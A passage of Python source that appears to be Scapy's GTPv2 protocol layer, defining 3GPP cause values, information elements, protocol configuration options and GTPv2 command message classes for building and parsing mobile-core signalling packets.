v16.1.0 table 8.4-1 CAUSE_VALUES = { # 0: Reserved. Shall not be sent and if received the Cause shall be treated # as an invalid IE. # 1: Reserved. 2: "Local Detach", 3: "Complete Detach", 4: "RAT changed from 3GPP to Non-3GPP", 5: "ISR deactivation", 6: "Error Indication received from RNC/eNodeB/S4-SGSN/MME", 7: "IMSI Detach Only", 8: "Reactivation Requested", 9: "PDN reconnection to this APN disallowed", 10: "Access changed from Non-3GPP to 3GPP", 11: "PDN connection inactivity timer expires", 12: "PGW not responding", 13: "Network Failure", 14: "QoS parameter mismatch", 15: "EPS to 5GS Mobility", 16: "Request accepted", 17: "Request accepted partially", 18: "New PDN type due to network preference", 19: "New PDN type due to single address bearer only", # 20-63: Spare. This value range shall be used by Cause values in an # acceptance response/triggered message. 64: "Context Not Found", 65: "Invalid Message Format", 66: "Version not supported by next peer", 67: "Invalid length", 68: "Service not supported", 69: "Mandatory IE incorrect", 70: "Mandatory IE missing", # 71: Shall not be used. See NOTE 2 and NOTE 3. 72: "System failure", 73: "No resources available", 74: "Semantic error in the TFT operation", 75: "Syntactic error in the TFT operation", 76: "Semantic errors in packet filter(s)", 77: "Syntactic errors in packet filter(s)", 78: "Missing or unknown APN", # 79: Shall not be used. See NOTE 2 and NOTE 3. 80: "GRE key not found", 81: "Relocation failure", 82: "Denied in RAT", 83: "Preferred PDN type not supported", 84: "All dynamic addresses are occupied", 85: "UE context without TFT already activated", 86: "Protocol type not supported", 87: "UE not responding", 88: "UE refuses", 89: "Service denied", 90: "Unable to page UE", 91: "No memory available", 92: "User authentication failed", 93: "APN access denied - no subscription", 94: "Request rejected (reason not specified)", 95: "P-TMSI Signature mismatch", 96: "IMSI/IMEI not known", 97: "Semantic error in the TAD operation", 98: "Syntactic error in the TAD operation", # 99: Shall not be used. See NOTE 2 and NOTE 3. 100: "Remote peer not responding", 101: "Collision with network initiated request", 102: "Unable to page UE due to Suspension", 103: "Conditional IE missing", 104: "APN Restriction type Incompatible with currently active PDN " "connection", 105: "Invalid overall length of the triggered response message and a " "piggybacked initial message", 106: "Data forwarding not supported", 107: "Invalid reply from remote peer", 108: "Fallback to GTPv1", 109: "Invalid peer", 110: "Temporarily rejected due to handover/TAU/RAU procedure in progress", 111: "Modifications not limited to S1-U bearers", 112: "Request rejected for a PMIPv6 reason", 113: "APN Congestion", 114: "Bearer handling not supported", 115: "UE already re-attached", 116: "Multiple PDN connections for a given APN not allowed", 117: "Target access restricted for the subscriber", # 118: Shall not be used. See NOTE 2 and NOTE 3. 119: "MME/SGSN refuses due to VPLMN Policy", 120: "GTP-C Entity Congestion", 121: "Late Overlapping Request", 122: "Timed out Request", 123: "UE is temporarily not reachable due to power saving", 124: "Relocation failure due to NAS message redirection", 125: "UE not authorised by OCS or external AAA Server", 126: "Multiple accesses to a PDN connection not allowed", 127: "Request rejected due to UE capability", 128: "S1-U Path Failure", 129: "5GC not allowed", # 130-239: Spare. For future use in a triggered/response message. # See NOTE 4. # 240-255: Spare. For future use in an initial/request message. See NOTE 5. } class IE_Cause(gtp.IE_Base): name = "IE Cause" fields_desc = [ByteEnumField("ietype", 2, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteEnumField("Cause", 1, CAUSE_VALUES), BitField("SPARE", 0, 5), BitField("PCE", 0, 1), BitField("BCE", 0, 1), BitField("CS", 0, 1)] class IE_RecoveryRestart(gtp.IE_Base): name = "IE Recovery Restart" fields_desc = [ByteEnumField("ietype", 3, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("restart_counter", 0)] class IE_APN(gtp.IE_Base): name = "IE APN" fields_desc = [ByteEnumField("ietype", 71, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.APNStrLenField("APN", "internet", length_from=lambda x: x.length)] class IE_BearerTFT(gtp.IE_Base): name = "IE Bearer TFT" fields_desc = [ByteEnumField("ietype", 84, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), StrLenField("Bearer_TFT", "", length_from=lambda x: x.length)] class IE_AMBR(gtp.IE_Base): name = "IE AMBR" fields_desc = [ByteEnumField("ietype", 72, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("AMBR_Uplink", 0), IntField("AMBR_Downlink", 0)] class IE_MSISDN(gtp.IE_Base): name = "IE MSISDN" fields_desc = [ByteEnumField("ietype", 76, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("digits", "33123456789", length_from=lambda x: x.length)] class IE_Indication(gtp.IE_Base): name = "IE Indication" fields_desc = [ByteEnumField("ietype", 77, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ConditionalField( BitField("DAF", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("DTF", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("HI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("DFI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("OI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("ISRSI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("ISRAI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("SGWCI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("SQCI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("UIMSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("CFSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("CRSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("PS", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("PT", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("SI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("MSV", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("RetLoc", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("PBIC", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("SRNI", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("S6AF", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("S4AF", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("MBMDT", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("ISRAU", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("CCRSI", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("CPRAI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("ARRL", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPOFF", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPON", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPSI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CSFBI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CLII", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CPSR", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("NSI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("UASI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("DTCI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("BDWI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("PSCI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("PCRI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("AOSI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("AOPI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("ROAAI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("EPCOSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("CPOPCI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("PMTSMI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("S11TF", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("PNSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("UNACCSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("WPMSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("_5GSNN26", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("REPREFI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("_5GSIWKI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("EEVRSI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("LTEMUI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("LTEMPI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("ENBCRSI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("TSPCMI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("SPARE1", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("SPARE2", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("SPARE3", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("N5GNMI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("_5GCNRS", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("_5GCNRI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("_5SRHOI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("ETHPDN", 0, 1), lambda pkt: pkt.length > 7), ] PDN_TYPES = { 1: "IPv4", 2: "IPv6", 3: "IPv4/IPv6", } PCO_OPTION_TYPES = { 3: "IPv4", 129: "Primary DNS Server IP address", 130: "Primary NBNS Server IP address", 131: "Secondary DNS Server IP address", 132: "Secondary NBNS Server IP address", } class PCO_Option(Packet): def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.length is None: p = p[:1] + struct.pack("!B", len(p) - 2) + p[2:] return p + pay class PCO_Protocol(Packet): # 10.5.6.3 of 3GPP TS 24.008 def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.length is None: p = p[:2] + struct.pack("!B", len(p) - 3) + p[3:] return p + pay class PCO_IPv4(PCO_Option): name = "IPv4" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Primary_DNS(PCO_Option): name = "Primary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Primary_NBNS(PCO_Option): name = "Primary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Secondary_DNS(PCO_Option): name = "Secondary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Secondary_NBNS(PCO_Option): name = "Secondary NBNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] PCO_PROTOCOL_TYPES = { 0x0001: 'P-CSCF IPv6 Address Request', 0x0002: 'IM CN Subsystem Signaling Flag', 0x0003: 'DNS Server IPv6 Address Request', 0x0005: 'MS Support of Network Requested Bearer Control indicator', 0x000a: 'IP Allocation via NAS', 0x000d: 'DNS Server IPv4 Address Request', 0x000c: 'P-CSCF IPv4 Address Request', 0x0010: 'IPv4 Link MTU Request', 0x0012: 'P-CSCF Re-selection Support', 0x001a: 'PDU session ID', 0x0022: '5GSM Cause Value', 0x0023: 'QoS Rules With Support Indicator', 0x0024: 'QoS Flow Descriptions With Support Indicator', 0x001b: 'S-NSSAI', 0x001c: 'QoS Rules', 0x001d: 'Session-AMBR', 0x001f: 'QoS Flow Descriptions', 0x8021: 'IPCP', 0xc023: 'Password Authentication Protocol', 0xc223: 'Challenge Handshake Authentication Protocol', } PCO_OPTION_CLASSES = { 3: PCO_IPv4, 129: PCO_Primary_DNS, 130: PCO_Primary_NBNS, 131: PCO_Secondary_DNS, 132: PCO_Secondary_NBNS, } def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s) def len_options(pkt): return pkt.length - 4 if pkt.length else 0 class PCO_P_CSCF_IPv6_Address_Request(PCO_Protocol): name = "PCO PCO-P CSCF IPv6 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(XBitField("address", "2001:db8:0:42::", 128), lambda pkt: pkt.length)] class PCO_IM_CN_Subsystem_Signaling_Flag(PCO_Protocol): name = "PCO IM CN Subsystem Signaling Flag" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_DNS_Server_IPv6(PCO_Protocol): name = "PCO DNS Server IPv6 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(XBitField("address", "2001:db8:0:42::", 128), lambda pkt: pkt.length)] class PCO_SOF(PCO_Protocol): name = "PCO MS Support of Network Requested Bearer Control indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ] class PCO_PPP(PCO_Protocol): name = "PPP IP Control Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] def extract_padding(self, pkt): return "", pkt class PCO_IP_Allocation_via_NAS(PCO_Protocol): name = "PCO IP Address allocation via NAS Signaling" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_P_CSCF_IPv4_Address_Request(PCO_Protocol): name = "PCO PCO-P CSCF IPv4 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length)] class PCO_DNS_Server_IPv4(PCO_Protocol): name = "PCO DNS Server IPv4 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length)] class PCO_IPv4_Link_MTU_Request(PCO_Protocol): name = "PCO IPv4 Link MTU Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(ShortField("MTU_size", 1500), lambda pkt: pkt.length)] class PCO_P_CSCF_Re_selection_Support(PCO_Protocol): name = "PCO P-CSCF Re-selection Support" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_PDU_Session_Id(PCO_Protocol): name = "PCO PDU session ID" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 1), ByteField("PduSessionId", 1)] class PCO_5GSM_Cause_Value(PCO_Protocol): name = "PCO 5GSM Cause Value" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_QoS_Rules_With_Support_Indicator(PCO_Protocol): name = "PCO QoS Rules With Support Indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_QoS_Flow_Descriptions_With_Support_Indicator(PCO_Protocol): name = "PCO QoS Flow Descriptions With Support Indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_S_Nssai(PCO_Protocol): name = "PCO S-NSSAI" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField( ByteField("SST", 0), lambda pkt: pkt.length > 0), ConditionalField( ShortField("SD", 0), lambda pkt: pkt.length > 1), ConditionalField( ByteField("Hplmn_Sst", 0), lambda pkt: pkt.length >= 4), ConditionalField( ShortField("Hplmn_Sd", 0), lambda pkt: pkt.length > 4)] class PCO_Qos_Rules(PCO_Protocol): name = "PCO QoS Rules" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_Session_AMBR(PCO_Protocol): name = "PCO Session AMBR" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 6), ByteField("dlunit", 0), ShortField("dlambr", 0), ByteField("ulunit", 0), ShortField("ulambr", 0)] class PCO_QoS_Flow_Descriptions(PCO_Protocol): name = "PCO QoS Flow Descriptions" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_IPCP(PCO_Protocol): name = "PCO Internet Protocol Control Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP)] class PCO_PPP_Auth(PCO_Protocol): name = "PPP Password Authentication Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), ByteField("PeerID_length", 0), ConditionalField(StrFixedLenField( "PeerID", "", length_from=lambda pkt: pkt.PeerID_length), lambda pkt: pkt.PeerID_length), ByteField("Password_length", 0), ConditionalField( StrFixedLenField( "Password", "", length_from=lambda pkt: pkt.Password_length), lambda pkt: pkt.Password_length)] class PCO_PasswordAuthentificationProtocol(PCO_Protocol): name = "PCO Password Authentication Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP_Auth)] class PCO_PPP_Challenge(PCO_Protocol): name = "PPP Password Authentication Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), ByteField("value_size", 0), ConditionalField(StrFixedLenField( "value", "", length_from=lambda pkt: pkt.value_size), lambda pkt: pkt.value_size), ConditionalField(StrFixedLenField( "name", "", length_from=lambda pkt: pkt.length - pkt.value_size - 5), # noqa: E501 lambda pkt: pkt.length)] class PCO_ChallengeHandshakeAuthenticationProtocol(PCO_Protocol): name = "PCO Password Authentication Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP_Challenge)] PCO_PROTOCOL_CLASSES = { 0x0001: PCO_P_CSCF_IPv6_Address_Request, 0x0002: PCO_IM_CN_Subsystem_Signaling_Flag, 0x0003: PCO_DNS_Server_IPv6, 0x0005: PCO_SOF, 0x000a: PCO_IP_Allocation_via_NAS, 0x000c: PCO_P_CSCF_IPv4_Address_Request, 0x000d: PCO_DNS_Server_IPv4, 0x0010: PCO_IPv4_Link_MTU_Request, 0x0012: PCO_P_CSCF_Re_selection_Support, 0x001a: PCO_PDU_Session_Id, 0x0022: PCO_5GSM_Cause_Value, 0x0023: PCO_QoS_Rules_With_Support_Indicator, 0x0024: PCO_QoS_Flow_Descriptions_With_Support_Indicator, 0x001b: PCO_S_Nssai, 0x001c: PCO_Qos_Rules, 0x001d: PCO_Session_AMBR, 0x001f: PCO_QoS_Flow_Descriptions, 0x8021: PCO_IPCP, 0xc023: PCO_PasswordAuthentificationProtocol, 0xc223: PCO_ChallengeHandshakeAuthenticationProtocol, } def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s) class IE_PCO(gtp.IE_Base): name = "IE Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 78, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_EPCO(gtp.IE_Base): name = "IE Extended Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 197, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_APCO(gtp.IE_Base): name = "IE Additional Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 163, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_PAA(gtp.IE_Base): name = "IE PAA" fields_desc = [ByteEnumField("ietype", 79, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 5), BitEnumField("PDN_type", None, 3, PDN_TYPES), ConditionalField( ByteField("ipv6_prefix_length", 8), lambda pkt: pkt.PDN_type in (2, 3)), ConditionalField( XBitField("ipv6", "2001:db8:0:42::", 128), lambda pkt: pkt.PDN_type in (2, 3)), ConditionalField( IPField("ipv4", 0), lambda pkt: pkt.PDN_type in (1, 3)), ] class IE_Bearer_QoS(gtp.IE_Base): name = "IE Bearer Quality of Service" fields_desc = [ByteEnumField("ietype", 80, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE1", 0, 1), BitField("PCI", 0, 1), BitField("PriorityLevel", 0, 4), BitField("SPARE2", 0, 1), BitField("PVI", 0, 1), ByteField("QCI", 0), BitField("MaxBitRateForUplink", 0, 40), BitField("MaxBitRateForDownlink", 0, 40), BitField("GuaranteedBitRateForUplink", 0, 40), BitField("GuaranteedBitRateForDownlink", 0, 40)] class IE_ChargingID(gtp.IE_Base): name = "IE Charging ID" fields_desc = [ByteEnumField("ietype", 94, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("ChargingID", 0)] class IE_ChargingCharacteristics(gtp.IE_Base): name = "IE Charging Characteristics" deprecated_fields = { "ChargingCharacteristric": ("ChargingCharacteristic", "2.6.0") } fields_desc = [ByteEnumField("ietype", 95, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), XShortField("ChargingCharacteristic", 0)] class IE_PDN_type(gtp.IE_Base): name = "IE PDN Type" fields_desc = [ByteEnumField("ietype", 99, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 5), BitEnumField("PDN_type", None, 3, PDN_TYPES)] class IE_UE_Timezone(gtp.IE_Base): name = "IE UE Time zone" fields_desc = [ByteEnumField("ietype", 114, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("Timezone", 0), ByteField("DST", 0)] class IE_Port_Number(gtp.IE_Base): name = "IE Port Number" fields_desc = [ByteEnumField("ietype", 126, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ShortField("PortNumber", RandShort())] class IE_APN_Restriction(gtp.IE_Base): name = "IE APN Restriction" fields_desc = [ByteEnumField("ietype", 127, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("APN_Restriction", 0)] class IE_SelectionMode(gtp.IE_Base): name = "IE Selection Mode" fields_desc = [ByteEnumField("ietype", 128, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 6), BitField("SelectionMode", 0, 2)] class IE_MMBR(gtp.IE_Base): name = "IE Max MBR/APN-AMBR (MMBR)" fields_desc = [ByteEnumField("ietype", 161, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("uplink_rate", 0), IntField("downlink_rate", 0)] class IE_UPF_SelInd_Flags(gtp.IE_Base): name = "IE UP Function Selection Indication Flags" fields_desc = [ByteEnumField("ietype", 202, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 7), BitField("DCNR", 0, 1)] class IE_FQCSID(gtp.IE_Base): name = "IE FQ-CSID" fields_desc = [ByteEnumField("ietype", 132, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("nodeid_type", 0, 4), BitField("num_csid", 0, 4), ConditionalField( IPField("nodeid_v4", 0), lambda pkt: pkt.nodeid_type == 0), ConditionalField( XBitField("nodeid_v6", "2001:db8:0:42::", 128), lambda pkt: pkt.nodeid_type == 1), ConditionalField( BitField("nodeid_nonip", 0, 32), lambda pkt: pkt.nodeid_type == 2), ShortField("csid", 0)] class IE_Ran_Nas_Cause(gtp.IE_Base): name = "IE RAN/NAS Cause" fields_desc = [ByteEnumField("ietype", 172, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("protocol_type", 0, 4), BitField("cause_type", 0, 4), ByteField("cause_value", 0)] # 3GPP TS 29.274 v16.1.0 section 8.67. class IE_PrivateExtension(gtp.IE_Base): name = "Private Extension" fields_desc = [ ByteEnumField("ietype", 255, IEType), ShortField("length", None), BitField("SPARE", 0, 4), BitField("instance", 0, 4), ShortEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), StrLenField("proprietaryvalue", "", length_from=lambda x: x.length - 2)] ietypecls = {1: IE_IMSI, 2: IE_Cause, 3: IE_RecoveryRestart, 71: IE_APN, 72: IE_AMBR, 73: IE_EPSBearerID, 74: IE_IP_Address, 75: IE_MEI, 76: IE_MSISDN, 77: IE_Indication, 78: IE_PCO, 79: IE_PAA, 80: IE_Bearer_QoS, 82: IE_RAT, 83: IE_ServingNetwork, 84: IE_BearerTFT, 86: IE_ULI, 87: IE_FTEID, 93: IE_BearerContext, 94: IE_ChargingID, 95: IE_ChargingCharacteristics, 97: IE_BearerFlags, 99: IE_PDN_type, 107: IE_MMContext_EPS, 109: IE_PDNConnection, 114: IE_UE_Timezone, 126: IE_Port_Number, 127: IE_APN_Restriction, 128: IE_SelectionMode, 132: IE_FQCSID, 136: IE_FQDN, 145: IE_UCI, 161: IE_MMBR, 163: IE_APCO, 170: IE_ULI_Timestamp, 172: IE_Ran_Nas_Cause, 197: IE_EPCO, 202: IE_UPF_SelInd_Flags, 255: IE_PrivateExtension} # # GTPv2 Commands # 3GPP TS 29.060 V9.1.0 (2009-12) # class GTPV2Command(Packet): fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] class GTPV2EchoRequest(GTPV2Command): name = "GTPv2 Echo Request" class GTPV2EchoResponse(GTPV2Command): name = "GTPv2 Echo Response" def answers(self, other): return isinstance(other, GTPV2EchoRequest) class GTPV2CreateSessionRequest(GTPV2Command): name = "GTPv2 Create Session Request" class GTPV2CreateSessionResponse(GTPV2Command): name = "GTPv2 Create Session Response" def answers(self, other): return isinstance(other, GTPV2CreateSessionRequest) class GTPV2DeleteSessionRequest(GTPV2Command): name = "GTPv2 Delete Session Request" class GTPV2DeleteSessionResponse(GTPV2Command): name = "GTPv2 Delete Session Request" def answers(self, other): return isinstance(other, GTPV2DeleteSessionRequest) class GTPV2ModifyBearerCommand(GTPV2Command): name = "GTPv2 Modify Bearer Command" class GTPV2ModifyBearerFailureIndication(GTPV2Command): name = "GTPv2 Modify Bearer Failure Indication" class GTPV2DeleteBearerCommand(GTPV2Command): name = "GTPv2 Delete Bearer Command" class GTPV2DeleteBearerFailureIndication(GTPV2Command): name = "GTPv2 Delete Bearer Failure Indication" class GTPV2BearerResourceCommand(GTPV2Command): name = "GTPv2 Bearer Resource Command" class GTPV2BearerResourceFailureIndication(GTPV2Command): name = "GTPv2 Bearer Resource Failure Indication" class GTPV2DownlinkDataNotifFailureIndication(GTPV2Command): name = "GTPv2 Downlink Data Notification Failure Indication" class GTPV2ModifyBearerRequest(GTPV2Command): name = "GTPv2 Modify Bearer Request" class GTPV2ModifyBearerResponse(GTPV2Command): name = "GTPv2 Modify Bearer Response" def answers(self, other): return isinstance(other, GTPV2ModifyBearerRequest) class GTPV2CreateBearerRequest(GTPV2Command): name = "GTPv2 Create Bearer Request" class GTPV2CreateBearerResponse(GTPV2Command): name = "GTPv2 Create Bearer Response" def answers(self, other): return isinstance(other, GTPV2CreateBearerRequest) class GTPV2UpdateBearerRequest(GTPV2Command): name = "GTPv2 Update Bearer Request" class GTPV2UpdateBearerResponse(GTPV2Command): name = "GTPv2 Update Bearer Response" def answers(self, other): return isinstance(other, GTPV2UpdateBearerRequest) class GTPV2DeleteBearerRequest(GTPV2Command): name = "GTPv2 Delete Bearer Request" class GTPV2SuspendNotification(GTPV2Command): name = "GTPv2 Suspend Notification" class GTPV2SuspendAcknowledge(GTPV2Command): name = "GTPv2 Suspend Acknowledge" class GTPV2ResumeNotification(GTPV2Command): name = "GTPv2 Resume Notification" class GTPV2ResumeAcknowledge(GTPV2Command): name = "GTPv2 Resume Acknowledge" class GTPV2DeleteBearerResponse(GTPV2Command): name = "GTPv2 Delete Bearer Response" class GTPV2ContextRequest(GTPV2Command): name = "GTPv2 Context Request" class GTPV2ContextResponse(GTPV2Command): name = "GTPv2 Context Response" def answers(self, other): return isinstance(other, GTPV2ContextRequest) class GTPV2ContextAcknowledge(GTPV2Command): name = "GTPv2 Context 